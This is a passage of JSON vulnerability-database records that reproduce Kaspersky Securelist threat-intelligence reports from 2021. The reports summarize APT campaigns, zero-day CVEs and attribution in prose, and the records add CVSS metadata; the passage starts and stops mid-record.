investigate. We discovered additional C2 servers after decrypting configuration data from the compromised host. The servers were still in use during our investigation, and we were able to get additional data related to the attack. We assess that the published infrastructure was used not only to target security researchers but also in other Lazarus attacks. We found a relatively large number of hosts communicating with the C2s at the time of our research.\n\nExpanding our research on the exploit targeting CVE-2021-1732, originally discovered by DBAPPSecurity Threat Intelligence Center and used by the Bitter APT group, we discovered another possible zero-day exploit used in the Asia-Pacific (APAC) region. Further analysis revealed that this escalation of privilege (EoP) exploit had potentially been used in the wild since at least November 2020. We reported this new exploit to Microsoft in February. After confirmation that we were indeed dealing with a new zero-day, it received the designation CVE-2021-28310. Various marks and artifacts left in the exploit meant that we were highly confident that CVE-2021-1732 and CVE-2021-28310 were created by the same exploit developer that we track as Moses. Moses appears to be an exploit developer who makes exploits available to several threat actors, based on other past exploits and the actors observed using them. To date, we have confirmed that at least two known threat actors have utilized exploits originally developed by Moses: Bitter APT and Dark Hotel. Based on similar marks and artifacts, as well as privately obtained information from third parties, we believe at least six vulnerabilities observed in the wild in the last two years have originated from Moses. While the EoP exploit was discovered in the wild, we weren't able to directly tie its usage to any known threat actor that we currently track. The EoP exploit was probably chained together with other browser exploits to escape sandboxes and obtain system level privileges for further access. Unfortunately, we weren't able to capture a full exploit chain, so we don't know if the exploit is used with another browser zero-day, or coupled with exploits taking advantage of known, patched vulnerabilities.\n\nOn April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for remote code execution (RCE) in the Chrome web browser, we were able to find and analyze an EoP exploit used to escape the sandbox and obtain system privileges. The EoP exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 \u2013 RS5, 18362 \u2013 19H1, 18363 \u2013 19H2, 19041 \u2013 20H1, 19042 \u2013 20H2) and exploited two distinct vulnerabilities in the Microsoft Windows OS kernel. We reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the information disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8 as a part of the June Patch Tuesday. The exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a remote shell-style backdoor that in turn connects to the C2 to get commands. Because we couldn't find any connections or overlaps with a known actor, we named this cluster of activity PuzzleMaker.\n\nFinally, late this year, we detected a wave of attacks using an elevation of privilege exploit affecting server variants of the Windows operating system. Upon closer analysis, it turned out to be a zero-day use-after-free vulnerability in Win32k.sys that we reported to Microsoft and was consequently fixed as CVE-2021-40449. We analyzed the associated malware, dubbed the associated cluster MysterySnail and found infrastructure overlaps that link it to the IronHusky APT.\n\n## Firmware vulnerabilities\n\nIn September, we [provided an overview](<https://securelist.com/finspy-unseen-findings/104322/>) of the FinSpy PC implant, covering not only the Windows version, but also Linux and macOS versions. FinSpy is an infamous, commercial surveillance toolset that is used for "legal surveillance" purposes. Historically, several NGOs have repeatedly reported it being used against journalists, political dissidents and human rights activists. Historically, its Windows implant was represented by a single-stage spyware installer; and this version was detected and researched several times up to 2018. Since then, we have observed a decreasing detection rate for FinSpy for Windows. While the nature of this anomaly remained unknown, we began detecting some suspicious installer packages backdoored with Metasploit stagers. We were unable to attribute these packages to any threat actor until the middle of 2019 when we found a host that served these installers among FinSpy Mobile implants for Android. Over the course of our investigation, we found out that the backdoored installers are nothing more than first stage implants that are used to download and deploy further payloads before the actual FinSpy Trojan. Apart from the Trojanized installers, we also observed infections involving usage of a UEFI or MBR bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our report.\n\nTowards the end of Q3, we identified a previously unknown payload with advanced capabilities, delivered using two infection chains to various government organizations and telecoms companies in the Middle East. The payload makes use of a Windows kernel-mode rootkit to facilitate some of its activities and is capable of being persistently deployed through an MBR or a UEFI bootkit. Interestingly enough, some of the components observed in this attack have been formerly staged in memory by Slingshot agent on multiple occasions, whereby Slingshot is a post-exploitation framework that we covered in several cases in the past (not to be confused with the Slingshot APT). It is mainly known for being a proprietary commercial penetration testing toolkit officially designed for red team engagements. However, it's not the first time that attackers appear to have taken advantage of it. One of our previous reports from 2019 covering FruityArmor's activity showed that the threat group used the framework to target organizations across multiple industries in the Middle East, possibly by leveraging an unknown exploit in a messenger app as an infection vector. In a recent private intelligence report, we provided a drill-down analysis of the newly discovered malicious toolkit that we observed in tandem with Slingshot and how it was leveraged in clusters of activity in the wild. Most notably, we outlined some of the advanced features that are evident in the malware as well as its utilization in a particular long-standing activity against a high-profile diplomatic target in the Middle East.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-30T10:00:31", "type": "securelist", "title": "APT annual review 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2021-28310", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-40449"], "modified": "2021-11-30T10:00:31", "id": "SECURELIST:1F59148E6615695438F94EF4956585AA", "href": "https://securelist.com/apt-annual-review-2021/105127/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-27T12:27:51", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/08/21082144/abstract-digital-yellow-990x400.jpeg)\n\nFor four years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.\n\nThis is our latest installment, focusing on activities that we observed during Q1 2021.\n\nReaders who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n## The most remarkable findings\n\nIn December, SolarWinds, a well-known IT managed services provider, fell victim to a sophisticated supply-chain attack. The company's Orion IT, a solution for monitoring and managing customers' IT infrastructure, was compromised. This resulted in the deployment of a custom backdoor, named Sunburst, on the networks of more than 18,000 SolarWinds customers, including many large corporations and government bodies, in North America, Europe, the Middle East and Asia. In [our initial report on Sunburst](<https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/>), we examined the method used by the malware to communicate with its C2 (command-and-control) server and the protocol used to upgrade victims for further exploitation. Further investigation of the Sunburst backdoor revealed several [features that overlap with a previously identified backdoor known as Kazuar](<https://securelist.com/sunburst-backdoor-kazuar/99981/>), a .NET backdoor first reported in 2017 and tentatively linked to the Turla APT group. The shared features between Sunburst and Kazuar include the victim UID generation algorithm, code similarities in the initial sleep algorithm and the extensive usage of the FNV1a hash to obfuscate string comparisons. There are several possibilities: Sunburst may have been developed by the same group as Kazuar; the developers of Sunburst may have adopted some ideas or code from Kazuar; both groups obtained their malware from the same source; some Kazuar developers moved to another team, taking knowledge and tools with them; or the developers of Sunburst introduced these links as a form of false flag. Hopefully, further analysis will make things clearer.\n\nOn March 2, Microsoft reported a new APT actor named HAFNIUM, exploiting four zero-days in Exchange Server in what they called "limited and targeted attacks". At the time, Microsoft claimed that, in addition to HAFNIUM, several other actors were exploiting them as well. In parallel, Volexity also reported the same Exchange zero-days being in use in early 2021. According to Volexity's telemetry, some of the exploits in use are shared across several actors, besides the one Microsoft designates as HAFNIUM. Kaspersky telemetry revealed a spike in exploitation attempts for these vulnerabilities following the public disclosure and patch from Microsoft. During the first week of March, we identified approximately 1,400 unique servers that had been targeted, in which one or more of these vulnerabilities were used to obtain initial access. Prior to the posts, on February 28, we identified related exploitation on less than a dozen Exchange systems; we also found more than a dozen Exchange artefacts indicating exploitation uploaded to multi-scanner services. According to our telemetry, most exploitation attempts were observed for servers in Europe and the United States. Some of the servers were targeted multiple times by what appear to be different threat actors (based on the command execution patterns), suggesting the exploits are now available to multiple groups.\n\nWe have also discovered a campaign active since mid-March targeting governmental entities in the Russian Federation, using the aforementioned Exchange zero-day exploits. This campaign made use of a previously unknown malware family we dubbed FourteenHi. Further investigation revealed traces of activity involving variants of this malware dating back a year. We also found some overlaps in these sets of activities with HAFNIUM in terms of infrastructure and TTPs as well as the use of ShadowPad malware during the same timeframe.\n\n## Europe\n\nDuring routine monitoring of detections for FinFisher spyware tools, we discovered traces that point to recent FinFly Web deployments. In particular, we discovered two servers with web applications that we suspect, with high confidence, were generated using FinFly Web. FinFly Web is, in essence, a suite of tools and packages that implement a web-based exploitation server. It was first publicly documented in 2014, in the aftermath of the Gamma Group hacking incident. One of the suspected FinFly Web servers was active for more than a year between October 2019 and December 2020. This server was disabled a day after our discovery last December. Nevertheless, we were able to capture a copy of its landing page, which included JavaScript used to profile victims using what appears to be previously unknown code. In the second case, the server hosting FinFly Web was already offline at the moment of discovery, so we drew our conclusions using available historical data. As it turned out, it was active for a very short time around September 2020 on a host that appears to have been impersonating the popular Mail.ru service. Surprisingly, this server began answering queries again on January 12. So far, we haven't seen any related payloads being dropped by these web pages.\n\n## Russian-speaking activity\n\nKazuar is a .NET backdoor usually associated with the Turla threat actor (aka Snake and Uroboros). Recently, Kazuar received renewed interest due to its similarities with the Sunburst backdoor. Although the capabilities of Kazuar have already been exposed in public research, many interesting facts about this backdoor were not made public. Our latest reports focus on the changes the threat actor made to the September and November versions of its backdoor.\n\nOn February 24, the National Security Defense Council of Ukraine (NSDC) publicly warned that a threat actor had exploited a national documents circulation system (SEI EB) to distribute malicious documents to Ukrainian public authorities. The alert contained a few related network IoCs, and specified that the documents used malicious macros in order to drop an implant onto targeted systems. Thanks to the shared IoCs, we were able to attribute this attack, with high confidence, to the Gamaredon threat actor. The malicious server IP mentioned by the NSDC has been known to Kaspersky since February as Gamaredon infrastructure.\n\nOn January 27, the French national cybersecurity agency (ANSSI) published a report describing an attack campaign that targeted publicly exposed and obsolete Centreon systems between 2017 and 2020, in order to deploy Fobushell (aka P.A.S.) webshells and Exaramel implants. ANSSI associated the campaign with the Sandworm intrusion-set, which we refer to as Hades. Although we specifically looked for additional compromised Centreon systems, Exaramel implant samples or associated infrastructure, we were unable to retrieve any useful artifacts from which we could initiate a comprehensive investigation. However, we did identify three Centreon servers where a Fobushell webshell had been deployed. One of those Fobushell samples was identical to another we previously identified on a Zebrocy C2 server.\n\n## Chinese-speaking activity\n\nWe discovered a set of malicious activities, which we named EdwardsPheasant, targeting mainly government organizations in Vietnam since June 2020. The attackers leverage previously unknown and obfuscated backdoors and loaders. The activities peaked in November 2020, but are still ongoing. The associated threat actor continues to leverage its tools and tactics (described in our private report) to compromise targets or maintain access in their networks. While we could identify similarities with the tools and tactics associated with Cycldek (aka Goblin Panda) and Lucky Mouse (aka Emissary Panda), we have been unable to attribute this set of activities to either of them conclusively.\n\nWe investigated a long-running espionage campaign, dubbed A41APT, targeting multiple industries, including the Japanese manufacturing industry and its overseas bases, which has been active since March 2019. The attackers used vulnerabilities in an SSL-VPN product to deploy a multi-layered loader we dubbed Ecipekac (aka DESLoader, SigLoader and HEAVYHAND). We attribute this activity to APT10 with high confidence. Most of the discovered payloads deployed by this loader are fileless and have not been seen before. We observed SodaMaster (aka DelfsCake, dfls and DARKTOWN), P8RAT (aka GreetCake and HEAVYPOT), and FYAnti (aka DILLJUICE Stage 2) which in turn loads QuasarRAT. In November and December 2020, two public blog posts were published about this campaign. One month later, we observed new activities from the actor with an updated version of some of their implants designed to evade security products and make analysis harder for researchers. You can read more in our [public report](<https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/>).\n\n## Middle East\n\nWe recently came across previously unknown malicious artifacts that we attributed to the Lyceum/Hexane threat group, showing that the attackers behind it are still active and have been developing their toolset during the last year. Although Lyceum still prefers taking advantage of DNS tunneling, it appears to have replaced the previously documented .NET payload with a new C++ backdoor and a PowerShell script that serve the same purpose. Our telemetry revealed that the threat group's latest endeavors are focused on going after entities within one country \u2013 Tunisia. The victims we observed were all high-profile Tunisian organizations, such as telecommunications or aviation companies. Based on the targeted industries, we assume that the attackers may have been interested in compromising these entities to track the movements and communications of individuals that are of interest to them. This could mean that the latest Lyceum cluster has an operational focus on targeting Tunisia, or that it is a subset of broader activity that is yet to be discovered.\n\nOn November 19, 2020, Shadow Chaser Group tweeted about a suspected MuddyWater APT malicious document potentially targeting a university in the United Arab Emirates. Based on our analysis since then, we suspect this intrusion is part of a campaign that started at least in early October 2020 and was last seen active in late December 2020. The threat actor relied on VBS-based malware to infect organizations from government, NGO and education sectors. Our telemetry, however, indicates that no further tools were deployed and we do not believe that data theft took place either. This indicates to us that the attackers are currently in the reconnaissance phase of their operation, and we expect subsequent waves of attacks to follow in the near future. In our private report, we provide an in-depth analysis of the malicious documents used by this threat actor and study their similarities to known MuddyWater tooling. The infrastructure setup and communications scheme are also similar to past incidents attributed to this group. The actor maintains a small set of first-stage C2 servers to connect back from the VBS implant for initial communications. Initial reconnaissance is performed by the actor and communication with the implant is handed off to a second-stage C2 for additional downloads. Finally, we present similarities with known TTPs of the MuddyWater group and attribute this campaign to them with medium confidence.\n\nDomestic Kitten is a threat group mainly known for its mobile backdoors. The group's operations were exposed in 2018, showing that it was conducting surveillance attacks against individuals in the Middle East. The threat group targeted Android users by sending them popular and well-known applications that were backdoored and contained malicious code. Many of the applications had religious or political themes and were intended for Farsi, Arabic and Kurdish speakers, possibly alluding to this attack's main targets. We have discovered new evidence showing that Domestic Kitten has been using PE executables to target victims using Windows since at least 2013, with some evidence that it goes back to 2011. The Windows version, which, to the best of our knowledge, has not been described in the past, was delivered in several versions, with the more recent one used for at least three and a half years to target individuals in parallel to the group's mobile campaigns. The implant functionality and infrastructure in that version have remained the same all along, and have been used in the group's activity witnessed this year.\n\nFerocious Kitten is an APT group that has been active against Persian-speaking individuals since 2015 and appears to be based in Iran. Although it has been active over a large timespan, the group has mostly operated under the radar and, to the best of our knowledge, has not been covered by security researchers. It only recently attracted attention when a lure document was uploaded to VirusTotal and was brought to public knowledge by researchers on Twitter. Subsequently, one of its implants was analyzed by a Chinese intelligence firm. We have been able to expand some of the findings on the group and provide insights on additional variants. The malware dropped from the aforementioned document is dubbed MarkiRAT and is used to record keystrokes and clipboard content, provide file download and upload capabilities as well as the ability to execute arbitrary commands on the victim's machine. We were able to trace the implant back to at least 2015, along with variants intended to hijack the execution of the Telegram and Chrome applications as a persistence method. Interestingly, some of the TTPs used by this threat actor are reminiscent of other groups operating in the domain of dissident surveillance. For example, it used the same C2 domains across its implants for years, which was witnessed in the activity of Domestic Kitten. In the same vein, the Telegram execution hijacking technique observed in this campaign by Ferocious Kitten was also observed being used by Rampant Kitten, as covered by Check Point. In our private report, we expand the details on these findings as well as provide analysis and mechanics of the MarkiRAT malware.\n\nKarkadann is a threat actor that has been targeting government bodies and news outlets in the Middle East since at least October 2020. The threat actor leverages tailor-made malicious documents with embedded macros that trigger an infection chain, opening a URL in Internet Explorer. The minimal functionality present in the macros and the browser specification suggest that the threat actor might be exploiting a privilege-escalation vulnerability in Internet Explorer. Despite the small amount of evidence available for analysis in the Karkadann case, we were able to find several similarities to the Piwiks case, a watering-hole attack we discovered that targeted multiple prominent websites in the Middle East. Our private report presents the recent Karkadann campaigns and the similarities between this campaign and the Piwiks case. The report concludes with some infrastructure overlaps with unattributed clusters that we have seen since last year that are potentially linked to the same threat actor.\n\n## Southeast Asia and Korean Peninsula\n\nWe discovered that the Kimsuky group adopted a new method to deliver its malware in its latest campaign on a South Korean stock trading application. In this campaign, beginning in December 2020, the group compromised a website belonging to the vendor of stock trading software, replacing the hosted installation package with a malicious one. Kimsuky also delivered its malware by utilizing a malicious Hangul (HWP) document containing COVID-19-related bait that discusses a government relief fund. Both infection vectors ultimately deliver the Quasar RAT. Compared to Kimsuky's last reported infection chain, composed of various scripts, the new scheme adds complications and introduces less popular file types, involving VBS scripts, XML and Extensible Stylesheet Language (XSL) files with embedded C# code in order to fetch and execute stagers and payloads. Based on the lure document and characteristics of the compromised installation package, we conclude that this attack is financially motivated, which, as we have previously reported, is one of Kimsuky's main focus areas.\n\nOn January 25, the Google Threat Analysis Group (TAG) announced that a North Korean-related threat actor had targeted security researchers. According to Google TAG's blog, this actor used highly sophisticated social engineering, approached security researchers through social media, and delivered a compromised Visual Studio project file or lured them to their blog and installed a Chrome exploit. On March 31, Google TAG released an update on this activity showing another wave of fake social media profiles and a company the actor set up mid-March. We can confirm that several infrastructures on the blog overlap with our previously published reporting about Lazarus group's ThreatNeedle cluster. Moreover, the malware mentioned by Google matched ThreatNeedle \u2013 malware that we have been tracking since 2018. While investigating associated information, a fellow external researcher confirmed that he was also compromised by this attack, sharing information for us to investigate. We discovered additional C2 servers after decrypting configuration data from the compromised host. The servers were still in use during our investigation, and we were able to get additional data, analyzing logs and files present on the servers. We assess that the published infrastructure was used not only to target security researchers but also in other Lazarus attacks. We found a relatively large number of hosts communicating with the C2s at the time of our research. You can read our public report [here](<https://securelist.com/lazarus-threatneedle/100803/>).\n\nFollowing up our previous investigation into Lazarus attacks on the defense industry using ThreatNeedle, we discovered another malware cluster named CookieTime used in a campaign mainly focused on the defense industry. We detected activity in September and November 2020, with samples dating back to April 2020. Compared to the already known malware clusters of the Lazarus group, CookieTime shows a different structure and functionality. This malware communicates with the C2 server using the HTTP protocol. In order to deliver the request type to the C2 server, it uses encoded cookie values and fetches command files from the C2 server. The C2 communication takes advantage of steganography techniques, delivered in files exchanged between infected clients and the C2 server. The contents are disguised as GIF image files, but contain encrypted commands from the C2 server and command execution results. We had a chance to look into the command and control script as a result of working closely with a local CERT to take down the threat actor's infrastructure. The malware control servers are configured in a multi-stage fashion and only deliver the command file to valuable hosts.\n\nWhile investigating the artifacts of a supply-chain attack on the Vietnam Government Certification Authority's (VGCA) website, we discovered that the first Trojanized package dates to June 2020. Unravelling that thread, we identified a number of post-compromise tools in the form of plugins deployed using PhantomNet malware, which was delivered using Trojanized packages. Our analysis of these plugins revealed similarities with the previously analyzed CoughingDown malware. In our private report, we offer a detailed description for each post-compromise tool used in the attack, as well as other tools belonging to the actor's arsenal. Finally, we also explore CoughingDown attribution in the light of recent discoveries.\n\nOn February 10, DBAPPSecurity published details about a zero-day exploit they discovered last December. Aside from the details of the exploit itself, researchers also mentioned it being used in the wild by BitterAPT. While no such subsequent information was given in the initial report to explain the attribution claims, our investigation into this activity confirms the exploit was in fact being used exclusively by this actor. We assigned the name TurtlePower to the campaign that makes use of this exploit, along with the other tools used to target governmental and telecom entities in Pakistan and China. We have also confidently linked the origin of this exploit to a broker we refer to as Moses. Moses has been responsible for the development of at least five exploits patched in the last two years. We have also been able to tie the usage of some of these exploits to at least two different actors thus far \u2013 BitterAPT and DarkHotel. At this time, it is unclear how these threat actors are obtaining exploits from Moses, whether it is through direct purchase or another third-party provider. During the TurtlePower campaign, BitterAPT used a wide array of tools on its victims to include a stage one payload named ArtraDownloader, a stage two payload named Splinter, a keylogger named SourLogger, an infostealer named SourFilling, as well as variations of Mimikatz to gather specific files and maintain its access. This particular campaign also appears to be narrowly focused on targets within Pakistan and China (based on the initial report referenced). While we can verify specific targeting within Pakistan using our own data, we have not been able to do the same regarding China. Use of CVE-2021-1732 peaked between June and July 2020, but the overall campaign is still ongoing.\n\nIn 2020, we observed new waves of attacks related to Dropping Elephant (aka Patchwork, Chinastrats), focusing on targets in China and Pakistan. We also noted a few targets outside of the group's traditional area of operations, namely in the Middle East, and a growing interest in the African continent. The attacks followed the group's well-established TTPs, which include the use of malicious documents crafted to exploit a remote code execution vulnerability in Microsoft Office, and the signature JakyllHyde (aka BadNews) Trojan in the later infection stages. Dropping Elephant introduced a new loader for JakyllHyde, a tool we named Crypta. It contains mechanisms to hinder detection and appears to be a core component of this APT actor's recent toolset. Crypta and its variants have been observed in multiple scenarios loading a wide range of subsequent payloads, such as Bozok RAT, Quasar RAT and LokiBot. An additional Trojan discovered during our research was PubFantacy. To our knowledge, this tool has never been publicly described and has been used to target Windows servers since at least 2018.\n\nWe recently discovered a previously publicly unknown Android implant used in 2018-2019 by the SideWinder threat group, which we dubbed BroStealer. The main purpose of the BroStealer implant is to collect sensitive information from a victim's device, such as photos, SMS messages, call recordings and files from various messaging applications. Although SideWinder has numerous campaigns against victims using the Windows platform, recent reports have shown that this threat group also goes after its targets via the mobile platform.\n\n## Other interesting discoveries\n\nIn February 2019, multiple antivirus companies received a collection of malware samples, most of them associated with various known APT groups. Some of the samples cannot be associated with any known activity. Some, in particular, attracted our attention due to their sophistication. The samples were compiled in 2014 and, accordingly, were likely deployed in 2014 and possibly as late as 2015. Although we have not found any shared code with any other known malware, the samples have intersections of coding patterns, style and techniques that have been seen in various [Lambert families](<https://securelist.com/unraveling-the-lamberts-toolkit/77990/>). We therefore named this malware Purple Lambert. Purple Lambert is composed of several modules, with its network module passively listening for a magic packet. It is capable of providing an attacker with basic information about the infected system and executing a received payload. Its functionality reminds us of Gray Lambert, another user-mode passive listener. Gray Lambert turned out to be a replacement of the kernel-mode passive-listener White Lambert implant in multiple incidents. In addition, Purple Lambert implements functionality similar to, but in different ways, both Gray Lambert and White Lambert. Our report, available to subscribers of our APT threat reports, includes discussion of both the passive-listener payload and the loader functionality included in the main module.\n\n## Final thoughts\n\nWhile the TTPs of some threat actors remain consistent over time, relying heavily on social engineering as a means of gaining a foothold in a target organization or compromising an individual's device, others refresh their toolsets and extend the scope of their activities. Our regular quarterly reviews are intended to highlight the key developments of APT groups.\n\nHere are the main trends that we've seen in Q1 2021:\n\n * Perhaps the most predominant attack we researched in this quarter was the SolarWinds attack. SolarWinds showed once again how successful a supply-chain attack can be, especially where attackers go the extra mile to remain hidden and maintain persistence in a target network. The scope of this attack is still being investigated as more zero-day flaws are discovered in SolarWinds products.\n * Another critical wave of attacks was the exploitation of Microsoft Exchange zero-day vulnerabilities by multiple threat actors. We recently discovered another campaign using these exploits with different targeting, possibly related to the same cluster of activities already reported.\n * Lazarus group's bold campaign targeting security researchers worldwide also utilized zero-day vulnerabilities in browsers to compromise their targets. Their campaigns used themes centered on the use of zero-days to lure relevant researchers, possibly in an attempt to steal vulnerability research.\n\nAs always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.", "cvss3": {}, "published": "2021-04-27T10:00:26", "type": "securelist", "title": "APT trends report Q1 2021", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-1732"], "modified": "2021-04-27T10:00:26", "id": "SECURELIST:A10F281EF99381636376D6F6C6501E22", "href": "https://securelist.com/apt-trends-report-q1-2021/101967/", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-12T10:37:29", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/12091857/abstract_malware_report-990x400.jpg)\n\n## Targeted attacks\n\n### The leap of a Cycldek-related threat actor\n\nIt is quite common for Chinese-speaking threat actors to share tools and methodologies: one such example is the infamous "DLL side-loading triad": a legitimate executable, a malicious DLL to be [side-loaded](<https://attack.mitre.org/techniques/T1574/002/>) by it and an encoded payload, generally dropped from a self-extracting archive. This was first thought to be a signature of [LuckyMouse](<https://securelist.com/luckymouse-hits-national-data-center/86083/>), but we have observed other groups using similar "triads", including HoneyMyte. While it is not possible to attribute attacks based on this technique alone, efficient detection of such triads reveals more and more malicious activity.\n\nWe recently described one such file, called "FoundCore", which caught our attention because of the various improvements it brought to this well-known infection vector. We discovered the malware as part of an attack against a high-profile organization in Vietnam. From a high-level perspective, the infection chain follows the expected execution flow:\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06085101/Cycldek_01-1024x430.jpg)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06085101/Cycldek_01.jpg>)\n\nHowever, in this case, the shellcode was heavily obfuscated \u2013 the technical details were presented in the '[The leap of a Cycldek-related threat actor](<https://securelist.com/the-leap-of-a-cycldek-related-threat-actor/101243/>)' report. We found the loader for this file so interesting that we decided to base one of the tracks of our [Targeted Malware Reverse Engineering](<https://xtraining.kaspersky.com/courses/targeted-malware-reverse-engineering>) course on it.\n\nThe final payload is a remote administration tool that provides full control over the victim machine to its operators. Communication with the server can take place either over raw TCP sockets encrypted with RC4, or via HTTPS.\n\nIn the vast majority of the incidents we discovered, FoundCore executions were preceded by the opening of malicious RTF documents downloaded from static.phongay[.]com \u2013 all generated using [RoyalRoad](<https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper>) and attempting to exploit CVE-2018-0802. All of these documents were blank, suggesting the existence of precursor documents \u2013 possibly delivered by means of spear-phishing or a previous infection \u2013 that trigger the download of the RTF files. Successful exploitation leads to the deployment of further malware \u2013 named DropPhone and CoreLoader.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06091732/Cycldek_06.jpg)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06091732/Cycldek_06.jpg>)\n\nOur telemetry indicates that dozens of organizations were affected, belonging to the government or military sector, or otherwise related to the health, diplomacy, education or political verticals. Eighty percent of the targets were in Vietnam, though we also identified occasional targets in Central Asia and Thailand.\n\nWhile Cycldek has so far been considered one of the least sophisticated Chinese-speaking threat actors, its targeting is consistent with what we observed in this campaign \u2013 which is why we attribute the campaign, with low confidence, to this threat actor.\n\n### Zero-day vulnerability in Desktop Window Manager used in the wild\n\nWhile analyzing the [CVE-2021-1732](<https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>) exploit, first discovered by DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we found another zero-day exploit that we believe is linked to the same threat actor. We reported this new exploit to Microsoft in February and, after confirmation that it is indeed a zero-day, [Microsoft released a patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>) for the new zero-day (CVE-2021-28310) as part of its April security updates.\n\nCVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using the DirectComposition API. [DirectComposition](<https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal>) is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects and animations, with support for bitmaps of different sources (GDI, DirectX, etc.).\n\nThe exploit was initially identified by our advanced exploit prevention technology and related detection records. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again.\n\nWe believe this exploit is used in the wild, potentially by several threat actors, and it is probably used together with other browser exploits to escape sandboxes or obtain system privileges for further access.\n\nYou can find technical details on the exploit in the '[Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>)' post. Further information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service: contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n### Operation TunnelSnake\n\nWindows rootkits, especially those operating in kernel space, enjoy high privileges in the system, allowing them to intercept and potentially tamper with core I/O operations conducted by the underlying OS, like reading or writing to files or processing incoming and outgoing network packets. Their ability to blend into the fabric of the operating system itself is how rootkits have gained their notoriety for stealth and evasion.\n\nNevertheless, over the years, it has become more difficult to deploy and execute a rootkit component in Windows. The introduction by Microsoft of Driver Signature Enforcement and Kernel Patch Protection (PatchGuard) has made it harder to tamper with the system. As a result, the number of Windows rootkits in the wild has decreased dramatically: most of those that are still active are often used in high-profile APT attacks.\n\nOne such example came to our attention during an investigation last year, in which we uncovered a previously unknown and stealthy implant in the networks of regional inter-governmental organizations in Asia and Africa. This rootkit, which we dubbed "Moriya", was used to deploy passive backdoors on public facing servers, facilitating the creation of a covert C2 (Command and Control) communication channel through which they can be silently controlled.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/08151011/Operation_TunnelSnake_01.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/08151011/Operation_TunnelSnake_01.png>)\n\nThis tool was used as part of an ongoing campaign that we named "[TunnelSnake](<https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/>)". The rootkit was detected on the targeted machines as early as November 2019; and another tool we found, showing significant code overlaps with the rootkit, suggests that the developers had been active since at least 2018.\n\nSince neither the rootkit nor other lateral movement tools that accompanied it during the campaign relied on hardcoded C2 servers, we could gain only partial visibility into the attacker's infrastructure. However, the bulk of the detected tools besides Moriya, consist of both proprietary and well-known pieces of malware that were previously in use by Chinese-speaking threat actors, giving a clue to the attacker's origin.\n\n### PuzzleMaker\n\nOn April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits.\n\nWhile we were not able to retrieve the exploit used for Remote Code Execution 